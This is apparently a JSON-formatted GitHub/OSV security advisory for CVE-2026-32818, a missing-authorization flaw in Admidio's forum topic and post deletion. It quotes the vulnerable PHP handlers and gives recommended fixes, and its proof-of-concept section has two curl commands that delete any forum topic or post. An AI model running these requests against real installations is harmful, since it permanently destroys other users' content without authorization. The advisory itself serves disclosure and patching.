CVE-2026-32818: Admidio/admidio Admidio Is Missing Authorization On Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g375-5wmp-xr78",
  "modified" : "2026-03-20T21:15:55Z",
  "published" : "2026-03-16T21:18:53Z",
  "aliases" : [ "CVE-2026-32818" ],
  "summary" : "Admidio is Missing Authorization on Forum Topic and Post Deletion",
  "details" : "## Summary\n\nThe forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the `topic_delete` and `post_delete` actions in `forum.php` only validate the CSRF token but perform no authorization check before calling `delete()`. Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.\n\nThis is inconsistent with the save/edit operations, which properly check `isAdministratorForum()` and ownership before allowing modifications.\n\n## Details\n\n### Vulnerable Code Path 1: Topic Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 98-108\n\nThe topic_delete handler validates CSRF but never calls `$topic->isEditable()`:\n\n```php\ncase 'topic_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $topic = new Topic($gDb);\n    $topic->readDataByUuid($getTopicUUID);\n    $topic->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\nThe `Topic` class has an `isEditable()` method (lines 144-164 of `ListConfiguration.php`) that properly checks `isAdministratorForum()` and `getAllEditableCategories('FOT')`, but it is never called in the delete path.\n\n### Vulnerable Code Path 2: Post Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 125-134\n\nThe post_delete handler also validates CSRF but performs no authorization check:\n\n```php\ncase 'post_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $post = new Post($gDb);\n    $post->readDataByUuid($getPostUUID);\n    $post->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n### Contrast with Save Operations (Properly Authorized)\n\nThe `ForumTopicService::savePost()` method in `D:\\bugcrowd\\admidio\\repo\\src\\Forum\\Service\\ForumTopicService.php` lines 117-121 correctly verifies authorization:\n\n```php\nif ($postUUID !== '') {\n    $post->readDataByUuid($postUUID);\n    if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {\n        throw new Exception('You are not allowed to edit this post.');\n    }\n}\n```\n\nThe delete operations should have equivalent checks but do not.\n\n### Module-Level Access Check\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 53-59\n\nThe only check before the delete operations is the module-level access check:\n\n```php\nif ($gSettingsManager->getInt('forum_module_enabled') === 0) {\n    throw new Exception('SYS_MODULE_DISABLED');\n} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1\n    && !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n```\n\nThis only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.\n\n## PoC\n\n**Prerequisites:** Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.\n\n**Step 1: Attacker discovers a topic UUID**\n\nThe attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.\n\n**Step 2: Attacker deletes the topic (and all its posts)**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<attacker_session>\" \\\n  -d \"adm_csrf_token=<attacker_csrf_token>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe topic and all its posts are permanently deleted from the database.\n\n**Step 3: Attacker deletes an individual post**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<attacker_session>\" \\\n  -d \"adm_csrf_token=<attacker_csrf_token>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n## Impact\n\n- **Data Destruction:** Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The `Topic::delete()` method cascades and removes all posts belonging to the topic.\n- **Content Integrity:** Forum content created by administrators or other authorized users can be destroyed by any regular member.\n- **No Undo:** The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.\n- **Low Barrier:** The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check to topic_delete\n\n```php\ncase 'topic_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $topic = new Topic($gDb);\n    $topic->readDataByUuid($getTopicUUID);\n\n    // Add authorization check\n    if (!$topic->isEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $topic->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n### Fix 2: Add authorization check to post_delete\n\n```php\ncase 'post_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $post = new Post($gDb);\n    $post->readDataByUuid($getPostUUID);\n\n    // Add authorization check - only forum admins or the post author can delete\n    if (!$gCurrentUser->isAdministratorForum()\n        && (int)$post->getValue('fop_usr_id_create') !== $gCurrentUserId) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $post->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-g375-5wmp-xr78"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32818"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T21:18:53Z",
    "nvd_published_at" : "2026-03-19T23:16:44Z"
  }
}